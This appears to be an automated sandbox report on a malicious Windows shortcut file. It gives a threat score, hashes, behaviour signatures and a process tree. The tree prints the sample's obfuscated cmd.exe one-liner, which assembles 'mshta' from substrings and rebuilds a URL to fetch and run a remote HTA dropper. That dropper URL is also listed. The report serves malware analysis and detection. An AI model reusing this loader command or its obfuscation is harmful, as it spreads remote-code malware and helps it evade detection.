Analysis

  • max time kernel
    60s
  • max time network
    24s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 14:26

General

  • Target
    DOC-AJXE32.lnk
  • Size 2KB
  • Sample260821-rr5k7asake
  • SHA256 bf5c6ce8cd873fce557d1685907d6b8df453585fc3097f3f19c2fcc29785ba3d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-AJXE32.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5204
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set KZLS=infnefrzhkwjszredjinf&set lu=datgunibuxfwgidat&set MPk=infxllzuqinf&set jN=cachevbdrxmcmxucache&set NMFT=oldqeaotnyjyyqkcatssold&set owP=8wmx&&set VBs=qsyh&&set jZPN=yt7htaj9n&set ndoex=syslwaamipcfoymdyuxboprmsys&set NnR=vstar7&&set pJG=x0ntari&&set yaNas=htt@ps@:@//k-d@ocum@e@nt@a@[email protected]@t/h@/es@tag@[email protected]@h@p?@r@=@3F@1477@F15398D@1&&start /b !owP:~2,1!!VBs:~1,1!!jZPN:~3,3! !yaNas:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1276
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:1360

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads